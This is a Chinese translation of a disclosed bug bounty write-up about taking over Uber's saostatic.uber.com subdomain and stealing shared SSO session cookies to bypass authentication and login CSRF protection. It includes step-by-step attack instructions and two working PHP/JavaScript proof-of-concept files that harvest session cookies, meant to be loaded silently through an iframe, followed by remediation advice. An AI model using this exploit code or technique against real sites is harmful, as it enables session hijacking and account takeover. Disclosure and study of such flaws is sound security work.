Uber的saostatic.uber.com節點存在安全漏洞，攻擊者可以利用該漏洞通過Amazon CloudFront CDN實現子域名接管。除此之外，Uber近期在auth.uber.com部署的單點登錄（SSO）系統中也存在安全問題。這種SSO系統可以通過在所有*.uber.com子域名之間共享cookie來實現單點登錄，但其中存在的安全問題將允許攻擊者通過任意一個被入侵的*.uber.com子域名來竊取會話cookie。因此，之前的子域名接管問題將會提升為Uber SSO系統的身份認證繞過問題。目前，Uber已經修復了這個子域名接管漏洞，并且專門為這兩個安全問題提供了5000美金的漏洞獎金。
單點登錄系統（SSO）的安全問題
一般來說，單點登錄系統主要有以下三種類型：
1.   OAuth：認證的安全性主要是通過在白名單中設置服務提供者的URL回調地址實現的，其中CSRF保護是通過“state”參數實現的，可能存在的漏洞一般是開放重定向鏈。【案例】
2.   SAML&Friends：安全性是基于XML信息加密實現的，加密使用的是服務與識別提供商之間預交換的加密密鑰，可能存在的漏洞一般是XML簽名繞過。【案例】
3.   子域名之間共享會話cookie：這類SSO系統的安全性取決于所有子域名的整體安全性。任何一個子域名中如果存在漏洞的話，攻擊者將有可能竊取到SSO系統的共享會話cookie，可能存在的漏洞一般是遠程代碼執行漏洞、調式日志泄露和子域名接管等等。【案例】
我個人認為，前兩種單點登錄系統以前確實存在很多安全問題，但現在這兩類系統的安全性都已經得到了很大程度的提升。相比來說，第三種SSO系統出現得比前兩種都要早。從設計角度來看，任何需要利用SSO系統完成認證的節點都必須是同一個頂級域名下的子域名，由于這種SSO系統的安全性取決于所有子域名的整體安全性，所以這類SSO系統的攻擊面也非常廣。
Uber案例
在此之前，Uber使用的是OAuth來作為*.uber.com子域名的SSO系統，但近期他們將*.uber.com子域名的SSO系統換成了基于共享會話cookie的SSO系統。如果你現在訪問任何一個需要進行身份驗證的uber.com子域名的話，你都會被重定向到auth.uber.com。當你在這個節點完成登錄之后再訪問其他子域名的話，你相當于通過SSO系統登陸了auth.uber.com，因為當用戶登錄了一次之后，SSO系統便會為每一個*.uber.com子域名發送臨時會話cookie。
但是研究人員在Uber的這個SSO系統中發現了一個安全漏洞，當目標用戶在SSO系統中完成了身份驗證之后，該漏洞將允許攻擊者竊取auth.uber.com發送給任意uber.com子域名的有效會話cookie。不過Uber也采取了一些措施來防止這種事情的發生，但這些措施都可以被繞過。再加上研究人員報告的子域名接管漏洞，這將意味著任何被入侵的*.uber.com子域名都可以用來執行這種SSO認證繞過攻擊。
子域名接管
子域名saostatic.uber.com指向的是Amazon Cloudfront CDN（通過DNS CNAME記錄），但是主機名并沒有進行過注冊，這也就意味著我可以完全接管這個域名。在進行了一番探索之后，我成功接管了Uber的一個子域名，并上傳了一個簡單的HTML頁面來作為PoC:

認證繞過
在Uber的SSO系統中，auth.uber.com作為一個身份提供者給https://*.uber.com提供臨時共享會話cookie，并與服務提供者（例如riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com和developer.uber.com等等）進行身份信息的驗證。服務提供者在自己的節點中立刻清除傳入的臨時共享會話cookie來降低cookie被竊取的可能性。下圖顯示的是Uber SSO系統的用戶登錄流程：

因此，共享會話cookie“_csid”只能在第九步至第十二步之間被竊取，而這是一個間隔非常短的時間周期，雖然這并非不能實現，但我們還發現了另一種更加容易利用的漏洞。在這個漏洞的幫助下，我們可以讓共享會話cookie在第十二步之后仍然保存在瀏覽器的cookie記錄中。問題就在于，如果目標用戶已經在https://riders.uber.com節點完成了登錄，那么此時當這個用戶又接收到了一個從auth.uber.com發來的新生成的有效共享會話cookie“_csid”時，這個新的cookie將會被忽略，并且仍保持有效。由于在瀏覽器清除保存的cookie內容之前，這個被忽略的cookie將一直有效，因此攻擊者就可以通過重放上圖的第三步并在第十三步的請求中添加一個指向https://saostatic.uber.com的隱藏請求，他們就可以竊取到寶貴的會話cookie了:

當攻擊者得到了目標用戶的共享會話cookie“_csid”（例如https://riders.uber.com的cookie）之后，攻擊者就可以在他們自己的瀏覽器中完成正常的登錄流程，即替換上圖中第九步的“_csid” cookie值并冒充用戶進行登錄。不過別著急，這只是理想狀態，因為Uber在這里還采取了一種名叫登錄跨站請求偽造保護的應對措施。下面給出的是更新后的Uber SSO登錄流程：

問題就在于這里的GET參數state=CSRFTOKEN，而狀態cookie是服務提供者https://riders.uber.com在第三步中添加的，并在第十一步進行驗證。由于我們無法從目標用戶的瀏覽器中竊取這些cookie值，但我們的目標又是共享會話cookie“_csid”，那這是否就意味著Game Over了呢？
當然不是！因為攻擊者可以通過正常的登錄操作從https://riders.uber.com獲取到正確的CSRFTOKEN值（state cookie），那么攻擊者就能夠在自己的瀏覽器中將https://riders.uber.com在第三步生成的auth.uber.com URL鏈接轉發至目標用戶的流啊理念其中，然后生成并竊取共享會話cookie “_csid”，最后按照第九步的操作將這些竊取來的值注入到自己瀏覽器的登錄場景中。通過這種方法，目標用戶將會生成臨時會話令牌"_csid"，而攻擊者就可以在另一個瀏覽器中利用這個token。攻擊的實現過程如下圖所示：
PoC
再多的流程圖也比不過一個PoC來得清楚。
攻擊演示流程：
1.   打開目標用戶的瀏覽器，訪問https://riders.uber.com。在被重定向到了https://auth.uber.com之后，使用用戶的憑證完成登錄，最終重新回到https://riders.uber.com儀表盤。
2.   在目標用戶的瀏覽器中打開另一個網頁標簽，訪問https://saostatic.uber.com/prepareuberattack.php。無論彈出什么對話框，都點擊“接受”，頁面完成加載之后，你就可以看到底部會出現一個URL、“Cookie:”和“Set-Cookie：”，這便是我們自動竊取來的所有登錄信息。
3.   打開攻擊者的瀏覽器，然后設置一個攔截代理來攔截請求和響應信息。訪問prepareuberattack.php頁面輸出的URL鏈接，然后攔截請求。最后，將prepareuberattack.php頁面中顯示的“Cookie:”信息拷貝到請求頭中。
4.   響應信息應該是指向https://riders.uber.com/trips的重定向鏈接，這表明我們成功繞過了Uber的身份認證。接下來，在響應信息到達瀏覽器之前將“Set-Cookie：”所有的內容拷貝到響應信息中，這樣將保證竊取來的cookie永久注入到了攻擊者的瀏覽器中。
5.   現在，攻擊者就已經在自己的瀏覽器中以目標用戶的身份完成了登錄。
攻擊演示視頻如下：
視頻地址: https://youtu.be/0LoQ1rZfyP4
在真實的攻擊場景中，攻擊者可以在目標用戶的瀏覽器中（例如通過iframe）悄悄加載https://saostatic.uber.com/prepareuberattack.php。攻擊者可以直接將竊取來的cookie信息保存在服務器端，而無須顯示在prepareuberattack.php頁面中。下面給出的是頁面https://saostatic.uber.com/prepareuberattack.php和頁面https://saostatic.uber.com/uberattack.php的代碼。雖然代碼寫的不是很好，但它的功能是沒問題的：
prepareuberattack.php
    function HandleHeaderLine( $curl, $header_line ) {
        preg_match("/state=([^;]*);/", $header_line, $matches);
    if(sizeof($matches) > 0) {
        print("var cookiestate = '" . $matches[1] . "';\n");
    }
    preg_match("/Location: (.*)/", $header_line, $matches);
    if(sizeof($matches) > 0) {
        print("var loc = '" . trim($matches[1]) . "';\n");
    }
    return strlen($header_line);
    }   
    $c = curl_init('https://riders.uber.com');
    curl_setopt($c, CURLOPT_VERBOSE, 1);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
    $page = curl_exec($c);
?>
var csrf = loc.substring(loc.lastIndexOf("=")+1);
var img = document.createElement("IMG");
img.onerror = function () {
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
    iframe.setAttribute("width", "100%");
    iframe.setAttribute("height", "10000");
    document.body.appendChild(iframe); 
}
img.src=loc;
uberattack.php
    $cookiestring = "state=" . $_GET["cookiestate"] . "; ";
    $interestincookies = array("_udid", "_csid", "sid");
    foreach ($_COOKIE as $name => $value) {
    if (in_array($name,$interestincookies)) {   
        $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) .  "; ";
        $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) .  ";";
        }
    }
    print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "";
    print "Cookie: " . $cookiestring . "";
    print "" . $cookiestringset . "";
   
?>
第一個文件可以托管在任何地方，第二個文件必須托管在劫持的子域名中。我們可以將這兩份PHP文件中的“riders.uber.com”改為其他的Uber子域名，例如vault.uber.com、partners.uber.com和developer.uber.com。
修復建議
我們提供給Uber的建議主要有以下兩個方面：
1.   通過移除指向AWS CloudFront CDN的無效CNAME記錄來解決saostatic.uber.com的子域名接管問題。
2.   通過以下幾種方法解決身份認證繞過問題：
a)   將SSO系統恢復為使用OAuth 2協議；
b)   引入IP地址檢測機制；
c)    將所有的*.uber.com子域名加入Uber的漏洞獎勵計劃范疇；
最終，Uber移除了不安全的CNAME記錄，并通過引入IP地址檢測機制來降低了Uber SSO系統的攻擊面。